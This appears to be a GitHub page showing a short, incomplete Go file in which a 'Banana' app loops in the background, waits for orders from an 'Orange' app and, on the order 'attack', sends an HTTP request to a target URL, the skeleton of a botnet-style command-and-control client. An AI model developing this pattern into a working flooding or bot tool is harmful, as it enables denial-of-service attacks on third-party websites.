-
Notifications
You must be signed in to change notification settings - Fork 0
/
banana.go
59 lines (50 loc) · 989 Bytes
/
banana.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package main
import (
"fmt"
"net/http"
"strings"
)
type Banana struct {
Client *http.Client
}
func NewBanana() *Banana {
return &Banana{
Client: &http.Client{},
}
}
func (b *Banana) PerformRequest(url string) error {
req, err := http.NewRequest("GET", url, strings.NewReader(""))
if err != nil {
return err
}
resp, err := b.Client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
return nil
}
func (b *Banana) Run() {
// Run the Banana app in the background and listen for orders from the Orange app
for {
// Wait for an order from the Orange app
order := WaitForOrder()
// Perform the requested action
switch order {
case "attack":
// Send an HTTP request to a specified website
url := GetTargetURL()
if err := b.PerformRequest(url); err != nil {
fmt.Println(err)
}
case "say":
// Print "Hi"
fmt.Println("Hi")
}
}
}
func main() {
// Create a new Banana app and run it
banana := NewBanana()
banana.Run()
}